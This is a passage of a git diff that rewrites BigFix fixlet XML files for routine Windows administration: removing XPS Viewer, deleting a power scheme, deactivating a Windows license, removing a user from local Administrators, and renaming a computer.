-  Title    : Remove XPS Viewer
-  ID       : 648
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-30T14:53:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Remove XPS Viewer</Title>
-    <Description></Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
-    <Category>Common Tasks</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 30 Oct 2012 19:50:51 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp; </PreLink>
-        <Link>here </Link>
-        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//============================================================================
-//PowerShell Script...
-//
-//1. Save old ExecutionPolicy value
-parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
-parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
-//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
-	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-else
-	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
-	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
-endif
-//3. Create PowerShell script and save to a ps1 file
-delete __appendfile
-delete script.ps1
-createfile until END
-Import-Module c:\windows\system32\WindowsPowerShell\v1.0\Modules\ServerManager
-New-Item c:\temp\new_file.txt -type file
-#Remove-XPS Viewer - no reboot required
-$XPS = Get-WindowsFeature XPS-Viewer
-if ($XPS.Installed -eq &quot;True&quot;)
-{
-	Write-Host &quot;&quot;
-	Write-Host &quot;Removing XPS Viewer&quot;
-	Remove-WindowsFeature XPS-Viewer
-	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Uninstalled&quot;
-}
-else
-{
-	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Not Installed&quot;
-}
-END
-move __createfile script.ps1
-//4. Execute PowerShell with ps1 script file
-action uses wow64 redirection false
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
-action uses wow64 redirection {x64 of operating system}
-//5. Restore ExecutionPolicy back
-if {x64 of operating system}
-	if {parameter &quot;PolicyExisted&quot; as boolean}
-		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
-	else
-		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
-	endif
-else
-	if {parameter &quot;PolicyExisted&quot; as boolean}
-		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
-	else
-		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
-	endif
-endif
-//============================================================================</ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove XPS Viewer
+  ID       : 648
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-30T14:53:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove XPS Viewer</Title>
+    <Description></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 30 Oct 2012 19:50:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//============================================================================
+//PowerShell Script...
+//
+//1. Save old ExecutionPolicy value
+parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
+parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
+//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+else
+	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
+endif
+//3. Create PowerShell script and save to a ps1 file
+delete __appendfile
+delete script.ps1
+createfile until END
+Import-Module c:\windows\system32\WindowsPowerShell\v1.0\Modules\ServerManager
+New-Item c:\temp\new_file.txt -type file
+#Remove-XPS Viewer - no reboot required
+$XPS = Get-WindowsFeature XPS-Viewer
+if ($XPS.Installed -eq &quot;True&quot;)
+{
+	Write-Host &quot;&quot;
+	Write-Host &quot;Removing XPS Viewer&quot;
+	Remove-WindowsFeature XPS-Viewer
+	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Uninstalled&quot;
+}
+else
+{
+	Add-Content c:\temp\new_file.txt &quot;XPS Viewer Not Installed&quot;
+}
+END
+move __createfile script.ps1
+//4. Execute PowerShell with ps1 script file
+action uses wow64 redirection false
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
+action uses wow64 redirection {x64 of operating system}
+//5. Restore ExecutionPolicy back
+if {x64 of operating system}
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+else
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+endif
+//============================================================================</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes
index a22420193..7d43b6546 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove _Last Man Standing_ Power Scheme (21436).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Remove "Last Man Standing" Power Scheme
-  ID       : 21436
-  Author   : shwesc
-  Domain   : BESC
-  Imported : 2016-09-07T00:27:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Remove &quot;Last Man Standing&quot; Power Scheme</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>This Task will remove Last Man Standing Power Scheme on selected computers.
-<P>
-<P>After removing Last Man Standing settings, selected computers will no longer be excluded from Power Management tasks, however&nbsp;they will still be configured to never enter standby, and to function as a Wake on LAN forwarders.</P></TD></TR></TBODY></TABLE>
-<P><FONT color=#ff0000>Note</FONT>: It will set the Power Scheme to Balanced Power Schecme if the active power scheme is "Last Man Standing"</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
-    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
-    <Relevance><![CDATA[((if (name of operating system starts with "Win") then (platform id of operating system != 3) else false) OR ((if (name of operating system = "Mac OS X") then (release of operating system >= "10.4" as version) else false)) OR (exists main gather service)) AND (if exists property "in proxy agent context" then (not in proxy agent context) else true)]]></Relevance>
-    <Relevance>exists keys whose (value &quot;FriendlyName&quot; of it as string as lowercase contains &quot;last man standing&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; of native registry</Relevance>
-    <Relevance>not exist settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
-    <Category>Last Man Standing</Category>
-    <Source>BigFix</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
-    <SourceSeverity>N/A</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 20 Jul 2010 23:51:34 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain_attributes</Name>
-      <Value>LMS_Fixlets</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 05 Sep 2016 08:44:50 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action22342">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to remove Last Man Standing Power Scheme.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "lastman_guid" = "{names of keys whose (value "FriendlyName" of it as string as lowercase contains "last man standing") of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\" of native registry}"
-
-parameter "active_guid" = "{value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of native registry}"
-
-// If active power scheme is last man standing change it to Balanced
-if {parameter "lastman_guid" = parameter "active_guid"}
-waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "381b4222-f694-41f0-9685-ff5bb260df2e"
-endif
-
-waithidden "{pathname of system folder & "\powercfg.exe"}" /delete {parameter "lastman_guid"}]]></ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove "Last Man Standing" Power Scheme
+  ID       : 21436
+  Author   : shwesc
+  Domain   : BESC
+  Imported : 2016-09-07T00:27:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove &quot;Last Man Standing&quot; Power Scheme</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>This Task will remove Last Man Standing Power Scheme on selected computers.
+<P>
+<P>After removing Last Man Standing settings, selected computers will no longer be excluded from Power Management tasks, however&nbsp;they will still be configured to never enter standby, and to function as a Wake on LAN forwarders.</P></TD></TR></TBODY></TABLE>
+<P><FONT color=#ff0000>Note</FONT>: It will set the Power Scheme to Balanced Power Schecme if the active power scheme is "Last Man Standing"</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
+    <Relevance><![CDATA[((if (name of operating system starts with "Win") then (platform id of operating system != 3) else false) OR ((if (name of operating system = "Mac OS X") then (release of operating system >= "10.4" as version) else false)) OR (exists main gather service)) AND (if exists property "in proxy agent context" then (not in proxy agent context) else true)]]></Relevance>
+    <Relevance>exists keys whose (value &quot;FriendlyName&quot; of it as string as lowercase contains &quot;last man standing&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; of native registry</Relevance>
+    <Relevance>not exist settings whose(name of it contains &quot;PowerManagement_LastManStanding&quot; AND value of it = &quot;1&quot;) of client</Relevance>
+    <Category>Last Man Standing</Category>
+    <Source>BigFix</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2010-08-13</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 20 Jul 2010 23:51:34 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>LMS_Fixlets</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 05 Sep 2016 08:44:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action22342">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to remove Last Man Standing Power Scheme.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "lastman_guid" = "{names of keys whose (value "FriendlyName" of it as string as lowercase contains "last man standing") of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\" of native registry}"
+
+parameter "active_guid" = "{value "ActivePowerScheme" of key "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes" of native registry}"
+
+// If active power scheme is last man standing change it to Balanced
+if {parameter "lastman_guid" = parameter "active_guid"}
+waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "381b4222-f694-41f0-9685-ff5bb260df2e"
+endif
+
+waithidden "{pathname of system folder & "\powercfg.exe"}" /delete {parameter "lastman_guid"}]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes
index 3faba76ee..bc6d33826 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove and deactivate Windows license (25208).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Remove and deactivate Windows license
-  ID       : 25208
-  Author   : ReynardMuldrake
-  Domain   : BESC
-  Imported : 2018-02-28T08:36:29
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Remove and deactivate Windows license</Title>
-    <Description><![CDATA[<P>This task will deathorize a Windows license.</P>
-<P>The task will only be relevant to activated Windows workstations.&nbsp; It will evaluate as successful after it becomes no longer relevant.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name like &apos;Windows(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;</Relevance>
-    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
-    <Category>Software removal</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-02-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 28 Feb 2018 16:15:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos cscript C:\Windows\System32\slmgr.vbs /upk /ato
-dos cscript C:\Windows\System32\slmgr.vbs /cpky /ato
-dos cscript C:\Windows\System32\slmgr.vbs /rearm /ato
-action requires restart</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove and deactivate Windows license
+  ID       : 25208
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-02-28T08:36:29
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove and deactivate Windows license</Title>
+    <Description><![CDATA[<P>This task will deathorize a Windows license.</P>
+<P>The task will only be relevant to activated Windows workstations.&nbsp; It will evaluate as successful after it becomes no longer relevant.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name like &apos;Windows(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Category>Software removal</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-02-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 28 Feb 2018 16:15:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">dos cscript C:\Windows\System32\slmgr.vbs /upk /ato
+dos cscript C:\Windows\System32\slmgr.vbs /cpky /ato
+dos cscript C:\Windows\System32\slmgr.vbs /rearm /ato
+action requires restart</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes
index 4398a3343..c4c362bff 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove logged in user from local Administrators group (24889).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Remove logged in user from local Administrators group
-  ID       : 24889
-  Author   : ReynardMuldrake
-  Domain   : BESC
-  Imported : 2018-01-25T12:38:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Remove logged in user from local Administrators group</Title>
-    <Description><![CDATA[This action will remove the logged in user from the local Administrators group from the target workstation.&nbsp; It will only appear relevant if the active user is already a member of the group. ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
-    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
-    <Category>Group Membership</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-01-25</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 25 Jan 2018 20:36:20 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden net localgroup administrators {"DOMAIN\"& name of logged on user} /delete]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Remove logged in user from local Administrators group
+  ID       : 24889
+  Author   : ReynardMuldrake
+  Domain   : BESC
+  Imported : 2018-01-25T12:38:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Remove logged in user from local Administrators group</Title>
+    <Description><![CDATA[This action will remove the logged in user from the local Administrators group from the target workstation.&nbsp; It will only appear relevant if the active user is already a member of the group. ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(select (&quot;ProductType from Win32_OperatingSystem&quot;) of WMI) as string contains &quot;1&quot;</Relevance>
+    <Relevance>exists (members whose ((it as a string) contains (name of logged on user)) of local group &quot;administrators&quot;)</Relevance>
+    <Category>Group Membership</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-01-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Jan 2018 20:36:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden net localgroup administrators {"DOMAIN\"& name of logged on user} /delete]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes b/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes
index 6df99dd46..588426230 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Rename Windows Computer (1393).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Rename Windows Computer
-  ID       : 1393
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-01-30T13:19:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Rename Windows Computer</Title>
-    <Description><![CDATA[<P>We can rename a windows computer from command line using WMIC computersystem command. Please see the command below</P><PRE>WMIC computersystem where caption='currentname' rename newname</PRE>
-<P>Example: If the current computer name is XP-PC, to change it to Windows7-PC, we can run the below command.</P><PRE>wmic computersystem where caption='xp-pc' rename windows7-pc</PRE>
-<P>After running the command, you need to reboot the computer to make the changes effective.</P>
-<P>This command works on XP, Vista, Windows 7 and also on Server 2003 and Server 2008 editions. </P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists file &quot;wmic.exe&quot; of folder &quot;wbem&quot; of system folder</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-01-30</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 30 Jan 2013 19:15:31 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//ask admin for name of new computer
-action parameter query &quot;newComputerName&quot; with description &quot;Please enter the new Computer Name (Ex: Daniel-PC):&quot; and with default value &quot;&quot;
-//use WMI to change the name
-waithidden wmic computersystem where caption=&apos;{computer name as string}&apos; call rename &apos;{parameter &quot;newComputerName&quot; as string}&apos;
-continue if {exit code of action = 0}
-//flag action as requiring a restart
-action requires restart
-</ActionScript>
-    </DefaultAction>
-    <Action ID="Action1641">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to Command Reference.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.windows-commandline.com/2011/10/change-computer-name-command-line.html</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Rename Windows Computer
+  ID       : 1393
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-30T13:19:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Rename Windows Computer</Title>
